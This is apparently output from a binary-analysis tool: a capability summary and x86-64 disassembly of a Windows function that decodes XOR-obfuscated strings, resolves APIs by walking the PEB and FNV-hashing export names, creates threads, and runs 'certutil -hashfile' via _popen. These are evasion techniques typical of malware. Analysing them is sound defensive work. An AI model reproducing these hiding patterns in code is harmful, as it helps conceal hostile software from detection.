Function at 0x14002e640
Capabilities:
Access peb ldr_data
Create process on windows
Create thread
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xae0]
sub rsp, 0xbe0
mov rax, qword [0x1400fcec0]
xor rax, rsp
mov qword [rbp + 0xad0], rax
mov rsi, rcx
mov qword [rbp + 0x70], rcx
xor edi, edi
mov dword [rbp - 0x50], edi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x140038f00]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, [rbp + 0x8e0]
call fcn.14002d410
nop
lea rdx, [rbp + 0x8e0]
cmp qword [rbp + 0x8f8], 0x10
cmovae rdx, qword [rbp + 0x8e0]
mov r8, qword [rbp + 0x8f0]
lea rcx, [section..data]
call fcn.14001b990
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x140035850]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp qword [rsi + 0x30], 0xa
je 0x14002e848
movdqa xmm0, xmmword [0x1400cadb0]
movdqa xmmword [rbp + 0x160], xmm0
movdqa xmm1, xmmword [0x1400cae10]
movdqa xmmword [rbp + 0x170], xmm1
movdqa xmm0, xmmword [0x1400cae60]
movdqa xmmword [rbp + 0x180], xmm0
movdqa xmm1, xmmword [0x1400cae80]
movdqa xmmword [rbp + 0x190], xmm1
mov dword [rbp + 0x1a0], 0xbaf6b9bf
mov dword [rbp + 0x1a4], 0x100abaa
mov ecx, edi
nop word [rax + rax]
lea eax, [rcx - 0x6a]
xor byte [rbp + rcx + 0x160], al
inc rcx
cmp rcx, 0x46
jb 0x14002e760
mov byte [rbp + 0x1a7], 0
mov r9d, reloc.WS2_32.dll_recv
xor r8d, r8d
lea rdx, [rbp + 0x160]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14002e826
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14002e826
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x756dd9c5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002e821
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14002e800
cmp r8d, 0x55161685
je 0x14002e82b
test r9d, r9d
jne 0x14002e7e0
mov rax, qword [rax]
jmp 0x14002e7b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
xor edi, edi
lea rcx, [rbp + 0x8a0]
call fcn.140027e90
nop
call fcn.14003ddf0
mov qword [rsp + 0x48], rax
mov dword [rbp + 0x40], 0xf7eff8b0
mov dword [rbp + 0x44], 0xf9f5e9ff
mov word [rbp + 0x48], 0xa3
mov byte [rbp + 0x4a], 1
mov rdx, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x14002e884
mov rdx, qword [rsi]
xor r8d, r8d
mov rcx, rax
call fcn.14003c7f0
mov rbx, rax
mov dword [rbp - 0x18], 0xf4f9f9b0
mov dword [rbp - 0x14], 0x100a6ff
mov dword [rbp - 0x20], 0xeaf9ffb0
mov dword [rbp - 0x1c], 0x100a6f2
mov dword [rsp + 0x58], 0xebfde1b0
mov word [rsp + 0x5c], 0xa7
mov byte [rsp + 0x5e], 1
mov dword [rbp - 0x60], 0xfce8eee2
mov dword [rbp - 0x5c], 0xf4f2f2a7
mov word [rbp - 0x58], 0xea
mov byte [rbp - 0x56], 1
mov rcx, rdi
nop dword [rax]
lea eax, [rcx - 0x6a]
xor byte [rsp + rcx + 0x58], al
inc rcx
cmp rcx, 5
jb 0x14002e8e0
mov byte [rsp + 0x5e], 0
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x5d]
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x2a0]
call fcn.140012f50
nop
cmp byte [rbp - 0x56], 0
je 0x14002e934
mov rcx, rdi
nop word [rax + rax]
lea eax, [rcx - 0x6a]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 9
jb 0x14002e920
mov byte [rbp - 0x56], 0
lea r9, [rsp + 0x40]
lea r8, [rbp - 0x57]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x280]
call fcn.140012f50
nop
lea r9, [rbp + 0x2a0]
lea r8, [rbp + 0x280]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x2c0]
call fcn.140023390
nop
mov rdx, qword [rbp + 0x298]
cmp rdx, 0x10
jb 0x14002e9b2
inc rdx
mov rcx, qword [rbp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e9ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002e9ad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c4bcc
movdqa xmm0, xmmword [0x1400ea090]
movdqu xmmword [rbp + 0x290], xmm0
mov byte [rbp + 0x280], 0
mov rdx, qword [rbp + 0x2b8]
cmp rdx, 0x10
jb 0x14002ea0a
inc rdx
mov rcx, qword [rbp + 0x2a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ea05
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140030b0f
call fcn.1400c4bcc
movdqa xmm0, xmmword [0x1400ea090]
movdqu xmmword [rbp + 0x2b0], xmm0
mov byte [rbp + 0x2a0], 0
lea rdx, [rsi + 0x40]
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14002ea33
mov rdx, qword [rdx]
lea rcx, [rbp + 0x2c0]
call fcn.14000d4d0
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xe8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xf8], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea r8, [rbp - 0x20]
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0x338]
call fcn.14001cb00
nop
lea rdx, [rbp + 0x8a0]
cmp qword [rbp + 0x8b8], 0x10
cmovae rdx, qword [rbp + 0x8a0]
mov r8, qword [rbp + 0x8b0]
mov rcx, rax
call fcn.14000d4d0
xorps xmm0, xmm0
movups xmmword [rbp + 0x128], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x138], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x128], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x138], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea r8, [rbp - 0x18]
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x318]
call fcn.14001cb00
nop
mov r15, 0xffffffffffffffff
mov r8, r15
inc r8
cmp byte [rbx + r8], 0
jne 0x14002eb11
mov rdx, rbx
mov rcx, rax
call fcn.14000d4d0
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x118], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x108], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x118], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea r8, [rbp + 0x40]
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x2f8]
call fcn.14001ccc0
nop
lea r12, [rsi + 0x20]
mov qword [rbp + 0x78], r12
mov rdx, r12
cmp qword [r12 + 0x18], 0x10
jb 0x14002eb8e
mov rdx, qword [r12]
mov r8, qword [r12 + 0x10]
mov rcx, rax
call fcn.14000d4d0
xorps xmm0, xmm0
movups xmmword [rbp + 0x820], xmm0
mov qword [rbp + 0x830], rdi
mov qword [rbp + 0x838], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x820], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x830], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov edi, 0x3fc
mov dword [rbp - 0x50], edi
mov rdx, qword [rbp + 0x310]
cmp rdx, 0x10
jb 0x14002ec23
inc rdx
mov rcx, qword [rbp + 0x2f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ec1e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002ec1e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c4bcc
movdqa xmm0, xmmword [0x1400ea090]
movdqu xmmword [rbp + 0x308], xmm0
mov byte [rbp + 0x2f8], 0
mov rdx, qword [rbp + 0x120]
cmp rdx, 0x10
jb 0x14002ec7e
inc rdx
mov rcx, qword [rbp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ec79
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002ec79
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c4bcc
movdqa xmm0, xmmword [0x1400ea090]
movdqu xmmword [rbp + 0x118], xmm0
mov byte [rbp + 0x108], 0
mov rdx, qword [rbp + 0x330]
cmp rdx, 0x10
jb 0x14002ecd9
inc rdx
mov rcx, qword [rbp + 0x318]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ecd4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002ecd4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c4bcc
movdqa xmm0, xmmword [0x1400ea090]
movdqu xmmword [rbp + 0x328], xmm0
mov byte [rbp + 0x318], 0
mov rdx, qword [rbp + 0x140]
cmp rdx, 0x10
jb 0x14002ed34
inc rdx
mov rcx, qword [rbp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ed2f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002ed2f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c4bcc
movdqa xmm0, xmmword [0x1400ea090]
movdqu xmmword [rbp + 0x138], xmm0
mov byte [rbp + 0x128], 0
mov rdx, qword [rbp + 0x350]
cmp rdx, 0x10
jb 0x14002ed8f
inc rdx
mov rcx, qword [rbp + 0x338]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ed8a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002ed8a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c4bcc
movdqa xmm0, xmmword [0x1400ea090]
movdqu xmmword [rbp + 0x348], xmm0
mov byte [rbp + 0x338], 0
mov rdx, qword [rbp + 0x100]
cmp rdx, 0x10
jb 0x14002edea
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ede5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002ede5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c4bcc
movdqa xmm0, xmmword [0x1400ea090]
movdqu xmmword [rbp + 0xf8], xmm0
mov byte [rbp + 0xe8], 0
mov rdx, qword [rbp + 0x2d8]
cmp rdx, 0x10
jb 0x14002ee42
inc rdx
mov rcx, qword [rbp + 0x2c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ee3d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140030ab2
call fcn.1400c4bcc
movdqa xmm0, xmmword [0x1400ea090]
movdqu xmmword [rbp + 0x2d0], xmm0
mov byte [rbp + 0x2c0], 0
lea r14, [rsi + 0x80]
mov rax, qword [r14 + 0x10]
mov rbx, r14
cmp qword [r14 + 0x18], 0x10
jb 0x14002ee71
mov rbx, qword [r14]
cmp rax, 5
jb 0x14002f04d
lea rsi, [rbx + rax]
lea r8, [rsi - 4]
sub r8, rbx
mov edx, 0x68
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov r9, rax
test rax, rax
je 0x14002f049
lea r13, str.https
nop word [rax + rax]
xor edx, edx
mov ecx, edx
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [r9 + rcx]
inc rcx
cmp al, byte [rcx + r13 - 1]
jne 0x14002eed9
cmp rcx, 5
jne 0x14002eec0
mov eax, edx
jmp 0x14002eede
sbb eax, eax
or eax, 1
test eax, eax
je 0x14002ef06
inc r9
lea r8, [rsi - 4]
sub r8, r9
mov edx, 0x68
mov rcx, r9
call sub.VCRUNTIME140.dll_memchr
mov r9, rax
test rax, rax
jne 0x14002eeb0
jmp 0x14002f049
sub r9, rbx
cmp r9, 0xffffffffffffffff
je 0x14002f049
movdqa xmm0, xmmword [0x1400caee0]
movdqa xmmword [rbp + 0x380], xmm0
movdqa xmm1, xmmword [0x1400caf00]
movdqa xmmword [rbp + 0x390], xmm1
movdqa xmm0, xmmword [0x1400caea0]
movdqa xmmword [rbp + 0x3a0], xmm0
movdqa xmm1, xmmword [0x1400cacc0]
movdqa xmmword [rbp + 0x3b0], xmm1
mov byte [rbp + 0x3c0], 1
mov rcx, rdx
nop dword [rax]
lea eax, [rcx - 0x6a]
xor byte [rbp + rcx + 0x380], al
inc rcx
cmp rcx, 0x3f
jb 0x14002ef60
mov byte [rbp + 0x3c0], dl
mov r9d, reloc.WS2_32.dll_recv
xor r8d, r8d
lea rdx, [rbp + 0x380]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14002f026
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14002f026
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xb044126d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002f021
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14002f000
cmp r8d, 0x899cbacd
je 0x14002f02b
test r9d, r9d
jne 0x14002efe0
mov rax, qword [rax]
jmp 0x14002efb0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov edi, dword [rbp - 0x50]
mov rsi, qword [rbp + 0x70]
mov r8, qword [r14 + 0x10]
mov rcx, r14
cmp qword [r14 + 0x18], 0x10
jb 0x14002f05e
mov rcx, qword [r14]
movabs r13, 0x7fffffffffffffff
test r8, r8
jne 0x14002f08b
lea rdx, [0x1400e7f89]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14002f08b
cmp qword [rsi + 0x90], 0
je 0x14002f935
xor r8d, r8d
mov rdx, r14
lea rcx, [rbp + 0x630]
call fcn.14000e050
nop
lea rcx, [rbp + 0x630]
call fcn.140003ad0
movzx ebx, al
lea rcx, [rbp + 0x630]
call fcn.140003220
test bl, bl
jne 0x14002f1e6
movdqa xmm0, xmmword [0x1400cad60]
movdqu xmmword [rbp + 0x1b0], xmm0
movdqa xmm1, xmmword [0x1400caf70]
movdqu xmmword [rbp + 0x1c0], xmm1
movdqa xmm0, xmmword [0x1400caec0]
movdqu xmmword [rbp + 0x1d0], xmm0
mov word [rbp + 0x1e0], 0xe8
mov byte [rbp + 0x1e2], 1
xor ecx, ecx
lea eax, [rcx - 0x6a]
xor byte [rbp + rcx + 0x1b0], al
inc rcx
cmp rcx, 0x31
jb 0x14002f103
mov byte [rbp + 0x1e2], 0
mov r9d, reloc.WS2_32.dll_recv
xor r8d, r8d
lea rdx, [rbp + 0x1b0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14002f1c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14002f1c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x3780cbe8
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002f1c1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14002f1a0
cmp r8d, 0x17007238
je 0x14002f1cb
test r9d, r9d
jne 0x14002f180
mov rax, qword [rax]
jmp 0x14002f150
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x920]
call sub.VCRUNTIME140.dll_memset
mov rbx, r14
cmp qword [r14 + 0x18], 0x10
jb 0x14002f207
mov rbx, qword [r14]
lea rax, [0x1400e9e68]
mov qword [rbp + 0x920], rax
lea rcx, [rbp + 0x9d0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp - 0x50], 0xbfc
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x930]
lea rcx, [rbp + 0x920]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x920]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x920], rdi
mov rax, qword [rbp + 0x920]
movsxd rcx, dword [rax + 4]
lea r8d, [rcx - 0xb0]
mov dword [rbp + rcx + 0x91c], r8d
lea rcx, [rbp + 0x930]
call fcn.14000dad0
nop
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
mov rdx, rbx
lea rcx, [rbp + 0x930]
call fcn.14000d990
test rax, rax
jne 0x14002f2c7
mov rax, qword [rbp + 0x920]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x920]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0x920]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x920], rdi
mov rax, qword [rbp + 0x920]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x91c], edx
xorps xmm0, xmm0
movups xmmword [rbp + 0x860], xmm0
mov qword [rbp + 0x870], 0
mov qword [rbp + 0x878], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x860], 0
movups xmmword [rbp + 0x8c0], xmm0
movdqa xmm1, xmmword [0x1400ea090]
movdqu xmmword [rbp + 0x8d0], xmm1
mov byte [rbp + 0x8c0], 0
mov rax, qword [rbp + 0x920]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x920]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x920]
call fcn.14001f250
movdqa xmm0, xmmword [0x1400cad90]
movdqu xmmword [rbp + 0x3f0], xmm0
movdqa xmm1, xmmword [0x1400cae00]
movdqu xmmword [rbp + 0x400], xmm1
movdqa xmm0, xmmword [0x1400cb010]
movdqu xmmword [rbp + 0x410], xmm0
mov word [rbp + 0x420], 0x100
mov rcx, qword [r14 + 0x10]
mov rax, r13
sub rax, rcx
cmp rax, 0x14
jb 0x140030c0b
mov rax, r14
cmp qword [r14 + 0x18], 0x10
jb 0x14002f3c5
mov rax, qword [r14]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], reloc.WS2_32.dll_sendto
lea r9, str.certutil__hashfile__
mov r8, r14
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x650]
call fcn.140023540
nop
lea r8, [rbp + 0x3f0]
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x748]
call fcn.14001cda0
nop
cmp qword [rax + 0x18], 0x10
jb 0x14002f419
mov rax, qword [rax]
xorps xmm0, xmm0
movups xmmword [rbp + 0x240], xmm0
movdqa xmm1, xmmword [0x1400ea090]
movdqu xmmword [rbp + 0x250], xmm1
mov byte [rbp + 0x240], 0
mov dword [rbp - 0x50], 0x3bfc
movups xmmword [rbp + 0x880], xmm0
lea rdx, [0x1400ca620]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov rcx, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
mov qword [rbp + 0x880], rcx
mov qword [rbp + 0x888], rax
test rax, rax
je 0x140030c11
mov r8, rax
mov edx, 0x80
lea rcx, [rbp + 0xa50]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
je 0x14002f4db
lea rax, [rbp + 0xa50]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14002f4a0
lea rdx, [rbp + 0xa50]
lea rcx, [rbp + 0x240]
call fcn.14001b990
mov r8, qword [rbp + 0x888]
mov edx, 0x80
lea rcx, [rbp + 0xa50]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
jne 0x14002f490
mov rcx, qword [rbp + 0x888]
test rcx, rcx
je 0x14002f4ee
call qword [rbp + 0x880]
nop
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x8c0]
call fcn.1400241f0
nop
lea rcx, [rbp + 0x240]
call fcn.14000b880
nop
lea rcx, [rbp + 0x748]
call fcn.14000b880
nop
lea rcx, [rbp + 0x650]
call fcn.14000b880
mov dword [rsp + 0x60], 0xf2f7e3b0
mov dword [rsp + 0x64], 0xa1f5ff
mov byte [rsp + 0x68], 1
xor ecx, ecx
nop
lea eax, [rcx - 0x6a]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 7
jb 0x14002f540
mov byte [rsp + 0x68], 0
lea rax, [rsp + 0x60]
mov rbx, r15
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14002f560
mov r15, qword [rbp + 0x870]
mov rax, r13
sub rax, r15
cmp rax, rbx
jb 0x140030c0b
lea r12, [rbp + 0x860]
cmp qword [rbp + 0x878], 0x10
cmovae r12, qword [rbp + 0x860]
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x90], xmm1
lea r14, [r15 + rbx]
mov edi, reloc.WS2_32.dll_ntohs
lea rsi, [rbp + 0x80]
cmp r14, rdi
jbe 0x14002f63d
mov rdi, r14
or rdi, 0xf
cmp rdi, r13
jbe 0x14002f5d1
mov rdi, r13
jmp 0x14002f5de
cmp rdi, 0x16
mov eax, socket
cmovb rdi, rax
mov rcx, rdi
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x14002f625
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140030c63
mov rcx, rax
call fcn.1400c4950
test rax, rax
je 0x14002f7f5
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14002f636
test rcx, rcx
je 0x14002f634
call fcn.1400c4950
mov rsi, rax
jmp 0x14002f636
xor esi, esi
mov qword [rbp + 0x80], rsi
mov qword [rbp + 0x90], r14
mov qword [rbp + 0x98], rdi
mov r8, rbx
lea rdx, [rsp + 0x60]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsi + rbx]
mov r8, r15
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + r14], 0
mov edi, 0x1ffc
mov dword [rbp - 0x50], edi
mov rsi, qword [rbp + 0x90]
lea r9, [rbp + 0x80]
cmp qword [rbp + 0x98], 0x10
cmovae r9, qword [rbp + 0x80]
mov r14, qword [rbp + 0x830]
mov rcx, qword [rbp + 0x838]
mov rax, rcx
sub rax, r14
cmp rsi, rax
ja 0x14002f6e6
lea rax, [rsi + r14]
mov qword [rbp + 0x830], rax
lea rbx, [rbp + 0x820]
cmp rcx, 0x10
cmovae rbx, qword [rbp + 0x820]
lea rcx, [rbx + r14]
mov r8, rsi
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsi + rbx]
mov byte [rax + r14], 0
jmp 0x14002f6fe
mov qword [rsp + 0x20], rsi
xor r8d, r8d
mov rdx, rsi
lea rcx, [rbp + 0x820]
call fcn.14000f690
nop
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x14002f73f
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f73a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f7f5
call fcn.1400c4bcc
movdqa xmm0, xmmword [0x1400ea090]
movdqu xmmword [rbp + 0x90], xmm0
mov byte [rbp + 0x80], 0
mov dword [rbp - 0x38], 0xf8f0e3b0
mov dword [rbp - 0x34], 0xa1f3e9
mov byte [rbp - 0x30], 1
xor ebx, ebx
mov ecx, ebx
nop dword [rax]
lea eax, [rcx - 0x6a]
xor byte [rbp + rcx - 0x38], al
inc rcx
cmp rcx, 7
jb 0x14002f770
mov byte [rbp - 0x30], bl
mov rsi, qword [rbp + 0x70]
lea r8, [rsi + 0x80]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0x358]
call fcn.14001c9b0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x14002f7ad
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x820]
call fcn.14000d4d0
nop
mov rdx, qword [rbp + 0x370]
cmp rdx, 0x10
jb 0x14002f801
inc rdx
mov rcx, qword [rbp + 0x358]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f7fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002f7fc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c4bcc
movdqa xmm0, xmmword [0x1400ea090]
movdqu xmmword [rbp + 0x368], xmm0
mov byte [rbp + 0x358], 0
mov rdx, qword [rbp + 0x8d8]
cmp rdx, 0x10
jb 0x14002f85c
inc rdx
mov rcx, qword [rbp + 0x8c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f857
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002f857
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
